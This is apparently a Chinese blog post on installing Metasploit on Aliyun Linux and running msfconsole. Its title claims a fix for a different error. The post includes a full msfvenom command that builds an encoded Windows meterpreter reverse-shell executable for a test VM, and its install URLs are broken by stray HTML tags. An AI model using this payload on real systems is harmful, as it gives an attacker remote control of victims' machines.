Linux执行可执行文件提示No such file or directory的解决方法

linux itxz 5年前 (2020-11-18) 428次浏览 已收录 0个评论

我的服务器系统是 Aliyun linux

可能报错:Couldn’t open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit

是因为安装库的问题!
解决方法:

yum install -y epel-release

然后再重复上面那条命令!

adduser msf       #添加msf用户
su msf                #切换到msf用户
cd  /opt/metasploit-framework/bin   #切换到msf所在的目录
./msfconsole

#以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。
如果使用root用户启动的话,不会同步数据库!
(启动索引已经默认配好了!)
直接 msfconsole 就可以启动了!

#相关命令
[msf@xxxx root]$ msf
msfbinscan msfconsole msfd   msfdb  
msfelfscan msfmachscan msfpescan msfrop  
msfrpc  msfrpcd  msfupdate msfvenom
 
#数据库初始化
[msf@xxxx root]$ msfdb
Commands:
 init  initialize the component
 reinit delete and reinitialize the component
 delete delete and stop the component
 status check component status
 start start the component
 stop  stop the component
 restart restart the component
#测试:
e.g.我的虚拟主机是 Win2003(目标机)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp 
LHOST=msf_ip 
LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

注:如果是弹性云服务器IP,LHOST 要设置为内网分配IP,不能设公网IP [被这个坑折腾好久!!!吐血!!!]


ps:linux系统下安装msf框架

命令:

wget http://downloads.metasploit.com/data/releases/metasploit-latest-<a href="http://www.itxz.com/?tag=linux" title="查看更多关于linux的文章" target="_blank">linux</a>-installer.run
chmod 755 metasploit-latest-<a href="http://www.itxz.com/?tag=linux" title="查看更多关于linux的文章" target="_blank">linux</a>-installer.run
./metasploit-latest-<a href="http://www.itxz.com/?tag=linux" title="查看更多关于linux的文章" target="_blank">linux</a>-installer.run

等待运行结束即可。关键地方按回车和Y即可。


IT学者 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:Linux执行可执行文件提示No such file or directory的解决方法
喜欢 (0)

您必须 登录 才能发表评论!